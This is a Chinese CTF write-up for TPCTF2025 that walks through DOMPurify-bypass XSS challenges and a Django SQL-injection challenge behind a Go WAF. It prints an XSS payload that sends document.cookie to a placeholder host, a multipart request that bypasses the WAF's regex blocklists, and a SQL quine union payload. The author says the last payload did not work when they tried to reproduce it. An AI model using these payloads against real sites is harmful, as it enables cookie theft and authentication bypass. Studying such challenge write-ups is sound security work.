文章

TPCTF2025 wp

misc签到

TPCTF{w3LCOMe_70_tpcTF_2025_H0Pe_Y0u_HavE_fun!!}

baby layout

layout系列有三题

第一题是常规Dompurify

提交<img src=x onerror="">会把onerror删掉

但是这题要求提交一个layout,一个content,会把layout中{{content}}的内容替换为content的内容

所以提交layout为<img src={{content}}>

content内容为x onerror="alert(1)"即可

safe layout

这次Dompurify更加严格,设置ALLOWED_ATTR为空,也就是不允许有属性

但是Dompurify有个问题,除非单独设置,不然会默认允许data-开头的属性

参考文章 Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re

safe layout

测试发现<style>标签里面的涉及<>但是不形成完整标签的,会保留<>而不会转义

但是默认删除<style>标签,为了保留,可以在前面加上\\u001B(B字符,混淆Dompurify

<{{content}}/style>标签会被保留,输入的content为空,就会闭合<style>

img标签同理

最终payload

import requests
​
d ="""\u001B(B<style><{{content}}/style><{{content}}img src=x onerror=fetch(fetch('http://ip:port/?'+document.cookie));>"""
j = {"layout":d}
h = {"cookie":"connect.sid=s%3AhOhZmzjqeGgl6IQDODg6OVCTj7_E9t80.T4M4cKeLXH5ZMj6jIee6wD9Ku%2FZO2BAY9L5UywmMWZg"}
r = requests.post(url="http://1.95.61.75:3000/api/layout", json=j, headers=h)
​
print(r.text)
print(r.status_code)

以下是赛后wp

supersqli

给了源码

from django.shortcuts import render
from django.db import connection
​
# Create your views here.
from django.http import HttpResponse,HttpRequest
from .models import AdminUser,Blog
import os
​
def index(request:HttpRequest):
    return HttpResponse('Welcome to TPCTF 2025')
​
def flag(request:HttpRequest):
    if request.method != 'POST':
        return HttpResponse('Welcome to TPCTF 2025')
    username = request.POST.get('username')
    if username != 'admin':
        return HttpResponse('you are not admin.')
    password = request.POST.get('password')
    users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
    try:
        assert password == users[0].password
        return HttpResponse(os.environ.get('FLAG'))
    except:
        return HttpResponse('wrong password')

关键部分是assert password == users[0].password

也就是要求传入的密码和查询出的密码相同

一般的sql注入是不可能做到的,而且测试发现数据库里面没内容(时间盲注过了,不行)

所以明确了要用quine来绕(输出与自身代码相同)

quine和mysql8新特性 - meraklbz - 博客园

但是有个waf不会绕。。。。

package main
​
import (
    "bytes"
    "io"
    "log"
    "mime"
    "net/http"
    "regexp"
    "strings"
)
​
const backendURL = "http://127.0.0.1:8000"
const backendHost = "127.0.0.1:8000"
​
var blockedIPs = map[string]bool{
    "1.1.1.1": true,
}
​
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)
​
var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)
​
var hotfixPattern = regexp.MustCompile(`(?i)(select)`)
​
var blockedUserAgents = []string{
    "sqlmap",
    "nmap",
    "curl",
}
​
func isBlockedIP(ip string) bool {
    return blockedIPs[ip]
}
​
func isMaliciousRequest(r *http.Request) bool {
    for key, values := range r.URL.Query() {
        for _, value := range values {
            if sqlInjectionPattern.MatchString(value) {
                log.Printf("阻止 SQL 注入: 参数 %s=%s", key, value)
                return true
            }
            if rcePattern.MatchString(value) {
                log.Printf("阻止 RCE 攻击: 参数 %s=%s", key, value)
                return true
            }
            if hotfixPattern.MatchString(value) {
                log.Printf("参数 %s=%s", key, value)
                return true
            }
        }
    }
​
    if r.Method == http.MethodPost {
        ct := r.Header.Get("Content-Type")
        mediaType, _, err := mime.ParseMediaType(ct)
        if err != nil {
            log.Printf("解析 Content-Type 失败: %v", err)
            return true
        }
        if mediaType == "multipart/form-data" {
            if err := r.ParseMultipartForm(65535); err != nil {
                log.Printf("解析 POST 参数失败: %v", err)
                return true
            }
        } else {
            if err := r.ParseForm(); err != nil {
                log.Printf("解析 POST 参数失败: %v", err)
                return true
            }
        }
​
        for key, values := range r.PostForm {
            log.Printf("POST 参数 %s=%v", key, values)
            for _, value := range values {
                if sqlInjectionPattern.MatchString(value) {
                    log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
                    return true
                }
                if rcePattern.MatchString(value) {
                    log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
                    return true
                }
                if hotfixPattern.MatchString(value) {
                    log.Printf("POST 参数 %s=%s", key, value)
                    return true
                }
​
            }
        }
    }
    return false
}
​
func isBlockedUserAgent(userAgent string) bool {
    for _, blocked := range blockedUserAgents {
        if strings.Contains(strings.ToLower(userAgent), blocked) {
            return true
        }
    }
    return false
}
​
func reverseProxyHandler(w http.ResponseWriter, r *http.Request) {
    clientIP := r.RemoteAddr
    if isBlockedIP(clientIP) {
        http.Error(w, "Forbidden", http.StatusForbidden)
        log.Printf("阻止的 IP: %s", clientIP)
        return
    }
​
    bodyBytes, err := io.ReadAll(r.Body)
​
    if err != nil {
        http.Error(w, "Bad Request", http.StatusBadRequest)
        return
    }
​
    r.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))
​
    if isMaliciousRequest(r) {
        http.Error(w, "Malicious request detected", http.StatusForbidden)
        return
    }
​
    if isBlockedUserAgent(r.UserAgent()) {
        http.Error(w, "Forbidden User-Agent", http.StatusForbidden)
        log.Printf("阻止的 User-Agent: %s", r.UserAgent())
        return
    }
​
    proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, bytes.NewBuffer(bodyBytes))
    if err != nil {
        http.Error(w, "Bad Gateway", http.StatusBadGateway)
        return
    }
    proxyReq.Header = r.Header
​
    client := &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
​
    resp, err := client.Do(proxyReq)
    if err != nil {
        http.Error(w, "Bad Gateway", http.StatusBadGateway)
        return
    }
    defer resp.Body.Close()
​
    for key, values := range resp.Header {
        for _, value := range values {
            if key == "Location" {
                value = strings.Replace(value, backendHost, r.Host, -1)
            }
            w.Header().Add(key, value)
        }
    }
    w.WriteHeader(resp.StatusCode)
    io.Copy(w, resp.Body)
}
​
func main() {
    http.HandleFunc("/", reverseProxyHandler)
    log.Println("Listen on 0.0.0.0:8080")
    log.Fatal(http.ListenAndServe(":8080", nil))
}

从源码来看,几乎不可能绕过。。。。

但是有些waf识别到Content-Type 类 型 为multipart/form-data后, 会将它认为是文件上传请求 ,从而不检测其他种类攻击只检测文件上传,导致被绕过

所以可以构造payload

POST /flag/ HTTP/1.1
Host: 1.95.159.113:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXcT1f23abcde
​
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="username"
​
admin
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="password"
​
' or 1=1 --
------WebKitFormBoundary7MA4YWxkTrZu0gW--

绕过waf之后就可以用payload

' union SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--

哎,真可惜,不知道这样能绕

不过自己复现没成功,不知道为啥

剩下的还没出官方wp,等出了有时间再研究吧

许可协议:  CC BY 4.0